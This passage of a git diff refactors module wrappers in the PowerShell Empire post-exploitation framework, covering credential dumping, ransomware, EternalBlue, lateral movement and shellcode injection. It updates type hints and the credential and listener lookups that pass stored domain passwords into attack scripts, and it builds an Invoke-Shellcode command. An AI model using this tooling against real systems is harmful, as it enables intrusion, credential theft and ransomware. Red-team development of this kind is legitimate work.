+ if cred.host != "":
+ params["target"] = str(cred.host) + "." + str(cred.domain)
+ if cred.sid != "":
+ params["sid"] = cred.sid
+ if cred.password != "":
+ params["rc4"] = cred.password
# error checking
if not helpers.validate_ntlm(params["rc4"]):
diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py
index 159922fd5..a94c47fff 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py
index e071936ef..82995d5af 100644
--- a/empire/server/modules/powershell/credentials/tokens.py
+++ b/empire/server/modules/powershell/credentials/tokens.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.py b/empire/server/modules/powershell/exfiltration/PSRansom.py
index 4eb3f0e9c..16fd0cbc0 100644
--- a/empire/server/modules/powershell/exfiltration/PSRansom.py
+++ b/empire/server/modules/powershell/exfiltration/PSRansom.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py
index 40cd7f0fe..ddefe0337 100755
--- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py
+++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py
index 3a54f0ffc..8d1c977fe 100644
--- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py
+++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -36,7 +35,7 @@ def generate(
return handle_error_message(err)
if command == "":
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py
index 5e30bc88c..4525b29a5 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -47,7 +46,10 @@ def generate(
script_end = ""
- if not main_menu.listeners.is_listener_valid(listener_name) and not command:
+ if (
+ not main_menu.listenersv2.get_active_listener_by_name(listener_name)
+ and not command
+ ):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py
index e5ddf4958..af4c09268 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -39,17 +38,18 @@ def generate(
script_end = "Invoke-ExecuteMSBuild"
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- if cred.domain != "":
- params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
- else:
- params["UserName"] = str(cred.username)
- if cred.password != "":
- params["Password"] = cred.password
+ if cred.domain != "":
+ params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
+ else:
+ params["UserName"] = str(cred.username)
+ if cred.password != "":
+ params["Password"] = cred.password
# Only "Command" or "Listener" but not both
if listener_name == "" and command == "":
@@ -59,7 +59,10 @@ def generate(
"[!] Cannot use Listener and Command at the same time"
)
- if not main_menu.listeners.is_listener_valid(listener_name) and not command:
+ if (
+ not main_menu.listenersv2.get_active_listener_by_name(listener_name)
+ and not command
+ ):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
elif listener_name:
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py
index d8443d695..719a3562c 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -53,7 +52,7 @@ def generate(
script_end += ' -ResultFile "%s"' % (result_file)
else:
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py
index 2c14ee33f..7a657cb20 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -39,14 +38,19 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
+
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
- params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
- params["Password"] = cred.password
+ params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
+ params["Password"] = cred.password
- if not main_menu.listeners.is_listener_valid(listener_name) and not command:
+ if (
+ not main_menu.listenersv2.get_active_listener_by_name(listener_name)
+ and not command
+ ):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py
index 3f4ef1bf1..8473cf8f5 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -48,7 +47,10 @@ def generate(
if err:
return handle_error_message(err)
- if not main_menu.listeners.is_listener_valid(listener_name) and not command:
+ if (
+ not main_menu.listenersv2.get_active_listener_by_name(listener_name)
+ and not command
+ ):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py
index 5a6da42f9..6780248bb 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,23 +7,26 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
- if cred.domain != "":
- params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
- else:
- params["UserName"] = str(cred.username)
- if cred.password != "":
- params["Password"] = cred.password
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
+
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
+
+ if cred.domain != "":
+ params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
+ else:
+ params["UserName"] = str(cred.username)
+ if cred.password != "":
+ params["Password"] = cred.password
# staging options
listener_name = params["Listener"]
@@ -52,7 +54,7 @@ def generate(
return handle_error_message(err)
if command == "":
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
launcher = main_menu.stagers.generate_launcher(
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py
index 9bef6e3af..8f5ab21b5 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -29,15 +28,16 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- if cred.username != "":
- params["Username"] = str(cred.username)
- if cred.password != "":
- params["Password"] = str(cred.password)
+ if cred.username != "":
+ params["Username"] = str(cred.username)
+ if cred.password != "":
+ params["Password"] = str(cred.password)
if params["Username"] == "":
return handle_error_message(
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py
index 9e678ba4d..af4fbf3d3 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -39,19 +38,23 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
-
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
-
- if cred.domain != "":
- params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
- else:
- params["UserName"] = str(cred.username)
- if cred.password != "":
- params["Password"] = cred.password
-
- if not main_menu.listeners.is_listener_valid(listener_name) and not command:
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
+
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
+
+ if cred.domain != "":
+ params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
+ else:
+ params["UserName"] = str(cred.username)
+ if cred.password != "":
+ params["Password"] = cred.password
+
+ if (
+ not main_menu.listenersv2.get_active_listener_by_name(listener_name)
+ and not command
+ ):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py
index 093934aa2..e144cbd07 100644
--- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py
+++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py
@@ -1,7 +1,6 @@
-from typing import Dict
-
from empire.server.common import helpers
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +8,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -37,17 +36,18 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- if cred.domain != "":
- params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
- else:
- params["UserName"] = str(cred.username)
- if cred.password != "":
- params["Password"] = cred.password
+ if cred.domain != "":
+ params["UserName"] = str(cred.domain) + "\\" + str(cred.username)
+ else:
+ params["UserName"] = str(cred.username)
+ if cred.password != "":
+ params["Password"] = cred.password
if cleanup.lower() == "true":
# the registry command to disable the debugger for the target binary
@@ -60,7 +60,7 @@ def generate(
elif listener_name != "":
# if there's a listener specified, generate a stager and store it
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py
index 3034fcbfc..16aa4db48 100644
--- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py
+++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py
index 2146a5c53..1a725886e 100644
--- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py
+++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -26,7 +25,7 @@ def generate(
launcher_obfuscate = False
launcher_obfuscate_command = params["ObfuscateCommand"]
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/management/invoke_bypass.py b/empire/server/modules/powershell/management/invoke_bypass.py
index 66afff94c..f18248418 100644
--- a/empire/server/modules/powershell/management/invoke_bypass.py
+++ b/empire/server/modules/powershell/management/invoke_bypass.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/management/invoke_script.py b/empire/server/modules/powershell/management/invoke_script.py
index e9a0692a4..9e06d2744 100644
--- a/empire/server/modules/powershell/management/invoke_script.py
+++ b/empire/server/modules/powershell/management/invoke_script.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/management/logoff.py b/empire/server/modules/powershell/management/logoff.py
index 7db2b78a8..905b861e2 100644
--- a/empire/server/modules/powershell/management/logoff.py
+++ b/empire/server/modules/powershell/management/logoff.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.py b/empire/server/modules/powershell/management/mailraider/disable_security.py
index 66bcacf58..65a01a895 100644
--- a/empire/server/modules/powershell/management/mailraider/disable_security.py
+++ b/empire/server/modules/powershell/management/mailraider/disable_security.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.py b/empire/server/modules/powershell/management/mailraider/get_emailitems.py
index 380546733..951825916 100644
--- a/empire/server/modules/powershell/management/mailraider/get_emailitems.py
+++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py
index e9ebf3b09..302e17996 100644
--- a/empire/server/modules/powershell/management/psinject.py
+++ b/empire/server/modules/powershell/management/psinject.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -42,7 +41,7 @@ def generate(
return handle_error_message(err)
script_end = ""
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: %s" % (listener_name))
else:
diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py
index 7a5b74ccf..4510b2535 100644
--- a/empire/server/modules/powershell/management/reflective_inject.py
+++ b/empire/server/modules/powershell/management/reflective_inject.py
@@ -1,7 +1,7 @@
import random
import string
-from typing import Dict
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -51,7 +51,7 @@ def rand_text_alphanumeric(
return handle_error_message(err)
script_end = ""
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: %s" % (listener_name))
else:
diff --git a/empire/server/modules/powershell/management/runas.py b/empire/server/modules/powershell/management/runas.py
index c9cff3b0d..8987a3ce1 100644
--- a/empire/server/modules/powershell/management/runas.py
+++ b/empire/server/modules/powershell/management/runas.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -29,22 +28,23 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- if cred.credtype != "plaintext":
- return handle_error_message(
- "[!] A CredID with a plaintext password must be used!"
- )
+ if cred.credtype != "plaintext":
+ return handle_error_message(
+ "[!] A CredID with a plaintext password must be used!"
+ )
- if cred.domain != "":
- params["Domain"] = cred.domain
- if cred.username != "":
- params["UserName"] = cred.username
- if cred.password != "":
- params["Password"] = "'" + cred.password + "'"
+ if cred.domain != "":
+ params["Domain"] = cred.domain
+ if cred.username != "":
+ params["UserName"] = cred.username
+ if cred.password != "":
+ params["Password"] = "'" + cred.password + "'"
if (
params["Domain"] == ""
diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py
index ac608b85f..013323299 100644
--- a/empire/server/modules/powershell/management/shinject.py
+++ b/empire/server/modules/powershell/management/shinject.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -32,7 +31,7 @@ def generate(
if err:
return handle_error_message(err)
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message(f"[!] Invalid listener: {listener_name}")
else:
@@ -50,9 +49,12 @@ def generate(
return handle_error_message("[!] Error in launcher generation.")
else:
launcher_code = launcher.split(" ")[-1]
- sc = main_menu.stagers.generate_powershell_shellcode(
+ sc, err = main_menu.stagers.generate_powershell_shellcode(
launcher_code, arch
)
+ if err:
+ return handle_error_message(err)
+
encoded_sc = helpers.encode_base64(sc)
script_end = '\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String("{}")) -Force'.format(
diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py
index 8a54845a7..5f3100ed4 100644
--- a/empire/server/modules/powershell/management/spawn.py
+++ b/empire/server/modules/powershell/management/spawn.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py
index 91b4495df..6e35aba5f 100644
--- a/empire/server/modules/powershell/management/spawnas.py
+++ b/empire/server/modules/powershell/management/spawnas.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -27,17 +26,18 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- if cred.domain != "":
- params["Domain"] = cred.domain
- if cred.username != "":
- params["UserName"] = cred.username
- if cred.password != "":
- params["Password"] = cred.password
+ if cred.domain != "":
+ params["Domain"] = cred.domain
+ if cred.username != "":
+ params["UserName"] = cred.username
+ if cred.password != "":
+ params["Password"] = cred.password
# extract all of our options
diff --git a/empire/server/modules/powershell/management/switch_listener.py b/empire/server/modules/powershell/management/switch_listener.py
index ced10f8f6..89b014eed 100644
--- a/empire/server/modules/powershell/management/switch_listener.py
+++ b/empire/server/modules/powershell/management/switch_listener.py
@@ -1,5 +1,4 @@
-from typing import Dict, Optional, Tuple
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,12 +6,12 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
